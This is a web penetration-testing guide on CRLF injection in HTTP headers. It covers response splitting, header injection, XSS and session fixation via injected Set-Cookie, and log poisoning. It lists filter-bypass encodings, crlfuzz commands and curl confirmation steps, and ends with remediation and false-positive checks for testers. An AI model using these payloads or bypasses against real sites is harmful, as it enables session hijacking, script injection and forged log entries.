CRLF Injection
CRLF (Carriage Return Line Feed) injection occurs when an attacker can inject \r\n characters into HTTP headers, enabling HTTP response splitting, header injection, session fixation via Set-Cookie, XSS through injected headers, and log poisoning.
Warning
Frameworks: WSTG-INPV-15 · ASVS 5.0 V1.2.1, V4.2.4 · CWE-93, CWE-113 · T1190
Why a Header Is a Line Protocol
An HTTP/1.1 message is delimited by bytes, not a schema. Each header is a name, a colon, a value and a CRLF; the block ends at the first empty line. Nothing validates that structure, so a value containing CR or LF stops being a value — it becomes a new field or, with two CRLFs, the end of the headers. The delimiters are honoured; no parser has to decide your input is malicious.
It reaches production wherever request-derived text is written into a header the application builds:
Location on a redirect, Set-Cookie, Content-Disposition
filenames, and custom tracing or debug headers. The same primitive exists in SMTP headers and
access-log lines, which are also newline-delimited records.
The precondition is testable: you control some characters of a header value, and the layer that
serialises it does not reject CR or LF. Node's res.setHeader and Django's
HttpResponse throw on those characters; other stacks rely on the servlet container or the
HTTP server in front of them. When a payload fails, distinguish a rejection (400 or 500) from silent
normalisation by a proxy — alike in a browser, different on the wire.
Tools
Burp Suite
Manual testing
curl
Built-in
HTTP Response Splitting
If user input is reflected in HTTP response headers without sanitising CRLF characters, the attacker
can inject arbitrary headers or even a full second HTTP response. Send the request below with
-i and count header lines: the positive is a new field before the blank line, not the
string Injected-Header appearing somewhere in the body.
# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true
# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
<script>alert(document.domain)</script>
# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1
# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_sessionTwo outcomes are worth separating. Header injection adds one field to the existing response; the evidence is a single unexpected header. Response splitting closes the header block with a double CRLF, so the bytes after it are body and a crafted payload can read as a second response to a downstream cache. Splitting is stronger but only reproduces on HTTP/1.1 — HTTP/2 has no CRLF framing, so current targets usually limit you to injection within a value.
Read the raw response rather than the rendered page. If %0d%0aInjected-Header:%20true
comes back inside Location as literal text, the value was encoded on the way out. That is
a negative, and the most common false positive in this class. A new field on its own line, before the
blank line, is the positive.
Encoding Variants
Send one variant per request and inspect the raw header block after each. A value may be decoded once by the framework and again by a proxy, which is why the double-encoded form occasionally lands where the single-encoded one was caught; the Unicode and null-byte forms exist because older normalisers treated them as line breaks. A variant that produces the control's response — same header count — is not a bypass, whatever status code it returns.
# Different CRLF encodings to bypass filters:
%0d%0a # Standard URL-encoded CRLF
%0D%0A # Uppercase
%0d%0a%0d%0a # Double CRLF (start response body)
%E5%98%8A%E5%98%8D # Unicode CRLF (UTF-8 encoding)
%0a # LF only (works on some servers)
%0d # CR only
\r\n # Literal (in JSON/API contexts)
\u000d\u000a # Unicode escape
%00%0d%0a # Null byte prefix
# Double-encoding:
%250d%250a
# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt
# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.jsonLog Poisoning via CRLF
Log injection is real but over-claimed. The payload below only produces evidence if you can read the log back — through an exposed viewer, a local file inclusion, or an export the client supplies. Without that you have shown a string was accepted, not that a forged entry exists. Keep the demonstration to a canary line you can retrieve, and name the sink.
# Inject fake log entries via CRLF in logged parameters:
# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200
# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject payloads consumed by log aggregators and parsersTesting Methodology
- 1. Identify all parameters reflected in response headers (Location, Set-Cookie, custom headers)
- 2. Test basic %0d%0a injection — does a new header appear in the response?
- 3. Try encoding variants if basic CRLF is filtered
- 4. Test double CRLF (%0d%0a%0d%0a) for response body injection (XSS)
- 5. Test Set-Cookie injection for session fixation
- 6. Check if CRLF-injected responses are cached (cache poisoning)
- 7. Test log files for CRLF poisoning in User-Agent and Referer
Confirming Injection on the Wire
Ask three requests of every candidate: a control with a benign value, the payload read with
-D -, and the payload again through the path a victim takes. If the field appears only at
the origin, report the origin as vulnerable and the edge as partial coverage.
# 1. Control: status, header count, and the value you intend to abuse
curl -s -D - -o /dev/null -g --path-as-is \
'https://target.com/redirect?url=https://example.com'
# 2. Candidate: the same request with CRLF appended to the parameter
curl -s -D - -o /dev/null -g --path-as-is \
'https://target.com/redirect?url=https://example.com%0d%0aX-Probe:%20yes'
# 3. Count header lines only — a changed count is the signal, not the body
curl -s -D - -o /dev/null -g --path-as-is \
'https://target.com/redirect?url=https://example.com%0d%0aX-Probe:%20yes' \
| grep -c '^[A-Za-z0-9-]*:'
# Repeat step 2 against the edge hostname, then against the origin, and diff
# the header blocks. A field present at the origin and absent at the edge is
# normalisation by the proxy.
Evidence Collection
Request/Response: Burp capture showing CRLF payload and injected header in response
Raw Header Block: curl -D - output for both the control and the payload, so the client can count header lines and see the injected field before the blank line
Impact Demo: Screenshot of XSS alert or Set-Cookie injection
Edge vs Origin: The same request sent to the CDN hostname and to the origin IP, showing whether the injected field survives the proxy path
CVSS Range: Header injection: 4.3–6.1 | XSS via CRLF: 6.1–7.5 | Session fixation: 7.5–8.0
Remediation
- • Strip CRLF characters: Remove \r and \n from all user input before placing in HTTP headers.
- • Use framework header APIs: Modern frameworks (Django, Express, Spring) reject header values that contain CR or LF instead of silently stripping them — rely on that validation, not on string scrubbing.
- • Validate redirect URLs: Use allowlists for redirect destinations rather than user-supplied values.
- • URL-encode output: When reflecting user input in headers, URL-encode special characters.
- • Encode non-URL header values properly: For filenames use RFC 5987
filename*=UTF-8''…encoding instead of embedding raw text inContent-Disposition; for cookies, encode the value rather than concatenating it. - • Do not rely on a proxy to clean up: A CDN that rejects or normalises CR/LF is defence in depth. The origin must still refuse the value, because the proxy can be bypassed or replaced.
False Positive Identification
- URL-encoded vs. literal CRLF: If %0d%0a appears in the response body as literal text (not interpreted), there's no injection — confirm the CRLF creates actual new headers.
- Framework-level protection: Modern frameworks (Django, Rails, Express) reject header values containing CR/LF — they raise an error rather than stripping the characters. Verify in the raw HTTP response, not just the rendered page.
- Proxy normalization: Some reverse proxies normalize headers, preventing CRLF from reaching the client — test direct-to-origin if possible.
- A header nothing consumes: Injecting an unused custom header is still injection, but the impact is only what a downstream component does with it. Check whether the field is a cache key, an auth input, or merely cosmetic before assigning severity.
- Headers the edge adds itself: Trace IDs, <code>Via</code>, <code>X-Served-By</code> and request IDs are commonly generated by the CDN. Confirm the value you see matches the string you sent before calling it injected.
Response Splitting Practice
Practice CRLF and header injection on a deliberately vulnerable application.